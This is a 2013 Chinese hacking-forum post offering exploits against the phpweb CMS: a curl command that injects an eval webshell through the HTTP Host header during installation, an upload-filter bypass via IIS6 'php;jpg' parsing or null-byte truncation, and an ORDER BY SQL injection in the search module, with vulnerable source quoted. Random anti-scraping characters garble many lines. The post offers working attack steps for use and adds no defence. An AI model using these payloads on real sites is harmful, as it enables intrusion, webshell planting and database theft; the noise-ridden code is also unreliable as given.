找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2380|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
. D4 ?* a; V2 q* c0 s9 A$ h! h8 p, s# f3 c) j/ c. m( p8 A
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 Y4 q5 O/ t# T3 x- R9 n% H : D  b3 ]; s8 m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 ]$ j8 p) {3 @) p" e( a  R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
- v' I8 ]6 }- C% S
1 M0 T8 N2 @1 u) X虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响; J  B! |# @$ y* z) S
7 t! O2 r. s; w  @1 q& d1 N
分析:5 `& N+ V/ Y9 i: m
& F' T- k- p  o. b% u5 x

; q+ k0 _  N) _, F; x4 @3 I! b$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
+ g- g- E& Y% n: v ; F7 W. O- r8 o# |# O6 ^. k
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  L/ Z& d: k5 o* o9 ^1 ]* v                                            $filestr=str_replace(" ","",$filestr);; y$ V* s9 D  t7 o# m( @) q2 M
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 P& N' C' T9 u                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 q7 u0 z8 {+ S; e; c' v( q                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' [, B7 c$ I6 Y5 b                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; q  B5 B7 c) m* o0 f! ], @                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);7 D7 G1 X/ J& U4 q9 j1 {
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);( I/ U8 m  a7 Y- y0 k# E
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);8 t6 |; v( A) G

6 z( f& ]- K" c( x4 M! b, L( |0 G                                            fwrite(fopen($ConFile,"w"),$filestr,30000);* ~' s4 [. t7 ]5 j! S; Y7 _
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 L5 o& n" K2 M/ A! u' I8 F  c( J0 ^ . ]% i1 G" Y' z! K% k
poc:
8 A- W; S& ^2 e2 M
% k7 i0 ~, i' q, t?
* B$ P; I3 o9 `1
* R. m: o7 N" d# z: Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ n; \* I' v1 c0 O
shell地址: /config.inc.php
& Q5 F" C7 v' X  N4 z' V跟之前的 phpcms一样 需要远程数据库
+ }& H  E/ O/ e: o$ B' U' V, \4 y
' G$ j7 a) l0 q. x  [$ Q——————————————————–
. e! t% f. g$ {0 I& V* U上传漏洞(需要进后台):1 d% {8 Y; v5 V* X
漏洞文件: /kedit/upload_cgi/upload.php- g2 D/ ^7 X' t( }2 F
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用3 {2 e. A. j+ N% Z& L
, k# J2 j2 J) o( c
( ]$ b6 U$ B0 R! q( z: A
<?php
$ |4 Y& G$ K8 m7 N    define("ROOTPATH", "../../");% S' F0 |+ t" z1 Z
    include(ROOTPATH."includes/admin.inc.php");+ y" ?* b; g" `1 V/ Y5 P* u. j+ ?
    NeedAuth(0);
7 _9 J; W8 ?$ l+ C) P7 `
$ H& {8 \8 v6 S" D1 w1 j( H    $dt=date("Ymd",time());
  V) A) q" @- k2 Y$ A# c/ a    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){/ p. ^! g* X8 v) n6 [4 b  t( x( G
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
# a, p$ r- @$ P4 }    }# o' j  |" y3 x+ |
# H) x, D$ d! {+ u5 U5 {$ U9 v
    //文件保存目录路径
( \- P0 t9 T4 T2 \    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ J& c2 e  I  t- A4 w" V    echo $save_path;
( T( _  G+ o, A    //文件保存目录URL6 j- {9 j3 z* {. J% ]6 S* `
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, D8 A: {  d6 G$ N0 e
% F- `8 S+ O1 g: l
    //定义允许上传的文件扩展名: M$ K( @3 |/ F& j' v) f
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: c4 H9 C3 w' @" X
  a  W% C8 u+ J2 O6 Z    //最大文件大小
* L4 C& d  u3 ^8 n4 Y; @% C  l    $max_size = 1000000;
2 @0 S. z7 h/ `; K1 K: }: X6 [ 1 c9 C: R# O8 M) a8 n& T) |
    //更改目录权限3 C2 z3 O( u7 t6 [
    @mkdir($save_path, 0777);2 F9 y3 ^9 Y. r( a1 ?% G
$ H& e6 j% M8 z% a# }7 K, ~1 q8 \
    //文件的全部路径6 S9 {& q9 L8 H* U7 z9 s
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
* N' r# z# I5 E/ \2 Y0 m& A7 N  Z, J ! y% N( L. A: S7 {! b& ?  j
    //文件URL
2 N$ t9 s+ S2 K    $file_url = $save_url.$_POST['fileName'];
, y, t  h, Z, y! [1 c+ i3 S4 E1 W//有上传文件时9 s& V( T7 \' u( _( g7 a
    if (empty($_FILES) === false) {, |' y8 D6 D8 Y/ Q" w! n

3 _: b7 j- M$ U# k" Z            //原文件名, U2 l, Q7 s1 `0 t. k
            $file_name = $_FILES['fileData']['name'];8 [+ G/ O4 B4 _) _7 A- {# \3 M
            //服务器上临时文件名
& o+ {8 N! o2 J3 W            $tmp_name = $_FILES['fileData']['tmp_name'];* H9 l9 K' v- E9 \* p6 n' j7 ^8 Q
            //文件大小
3 Q! ?: D+ I$ x$ ?2 }2 H7 q+ v9 B1 n) Z) Y            $file_size = $_FILES['fileData']['size'];( N& k4 f) B3 N* M
            //检查目录( H& W8 J( l. t$ p0 ?
            if (@is_dir($save_path) === false) {
7 q% B" T$ G' h7 x# I0 ~, ?& A                    alert("上传目录不存在。");6 s8 ^1 P$ o) k6 r0 n
            }
/ v9 b4 X5 G) u8 Z9 l, y            //检查目录写权限
) k) Q& c  C( U3 H6 Z            if (@is_writable($save_path) === false) {
* ?- S1 {$ H& M# T6 y* N$ N                    alert("上传目录没有写权限。");
. _' c7 u5 V6 @# v- I- v            }
, `0 m) i. P% j            //检查是否已上传5 ?& q# A* `9 q- g( r) B
            if (@is_uploaded_file($tmp_name) === false) {# U% ], [/ F% c8 U) z8 X3 Y  G6 K
                    alert("临时文件可能不是上传文件。");3 h+ w  ^$ ?  i$ n0 l
            }5 U, r9 \; f3 U2 X5 |
            //检查文件大小  E- g# X1 B. ~8 P9 Y/ `
            if ($file_size > $max_size) {
* B( j  K3 X9 y' W                    alert("上传文件大小超过限制。");
. ?& X* _" J0 j# i7 s9 J% ]            }
3 h5 Z0 [" j: Q4 u            //获得文件扩展名
9 q  ^( `2 S; |2 T% H            $temp_arr = explode(".", $_POST['fileName']);, y( N1 ]+ g  ]- P7 w6 }; Z
            $file_ext = array_pop($temp_arr);
; G6 G  N7 o- k4 S8 p8 C            $file_ext = trim($file_ext);4 x$ c% J* T8 L8 u. X/ _5 {* Y
            $file_ext = strtolower($file_ext);
; l9 S' \+ F# O9 g. p+ q3 I' O# R 9 R2 X  ^0 a: V* a$ W
            //检查扩展名   
/ d' B8 i" @2 V) Z+ w            if (in_array($file_ext, $ext_arr) === false) {     : @7 h5 U1 l/ [* ]) z) C
                    alert("上传文件扩展名是不允许的扩展名。");
# y( b6 I% O4 w            }
6 Q( K# ^) f1 ~& y 7 K$ c+ T+ t' H: A# W  c. z
            //移动文件   
5 e5 l* U) f  B( @            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
6 a! m* H$ i1 J. c& ?# `- A5 O            if (move_uploaded_file($tmp_name, $file_path) === false) {
# J  V7 L4 n3 r# e: w! L                    alert("上传文件失败。");
' }& k1 {& M2 w/ P* d; w            }
6 O" \7 a" |. ]7 K ! p0 C2 y0 Z( v2 k5 \2 O
            @chmod($file_path,0666);) V" ^; l9 P0 Y6 ^6 i! x
6 `( W8 @/ g+ N( y( {0 O& C3 G* e
    ?>; B! C- `/ Y$ j, |; M
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: [! M# {- G3 l, `% F
9 `! U3 h) m; u; Z; a1 @
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 B7 F  i" n3 ]" m
/ J) q, U* M9 u+ b  d——————————————————
! I" [/ `- @. O. E/ {注入漏洞:' d0 c8 ?; ]( r! ~! N: e
漏洞文件:search/module/search.php; q; {0 S/ Q2 \8 r0 z
/search/index.php?key=1&myord=1 [sqlinjection]
( _- t0 c/ q' f  z' T; C
8 |  @1 ^& j# j4 O" r . _/ r6 z8 N% z+ S1 I0 c
<?php
2 I; h  ?" s) x- n8 {* s   //       ... 省略 n 行...7 O4 O9 C2 ~5 I- f
   //第18行:
! R- L% }/ m& T/ x           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响6 z. q5 X( i5 ]* k
           $page=htmlspecialchars($_GET["page"]);/ j9 M8 o$ T5 l  s. o
           $myord=htmlspecialchars($_GET["myord"]);
; @& X! j. h$ G+ o  z, l $ e" U& b) C8 o! ?) B
   //       ... 省略 n 行...
6 ^2 O/ `. I: ?" k+ ?+ C( n   $key,$myord 两个参数带入查询) M: ?" f8 D! h( x6 ]
   //第47行 $key:
* I' x) h; }  ^  Y( L' n+ K
  \  D1 a" _- x! Z5 t; M   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..  v2 c6 \& A+ K. d

  P0 ?6 \, L" G& B9 q5 J   //第197行 $myord. g9 s: a% y1 F7 p. A2 |. l
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
. ~( d' h9 h) H3 o" K9 f
7 C. D" u  Z  ~5 F4 P! Z# S/ t   ?>
+ f. k( b, j9 ]; k$ y0 E+ G9 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表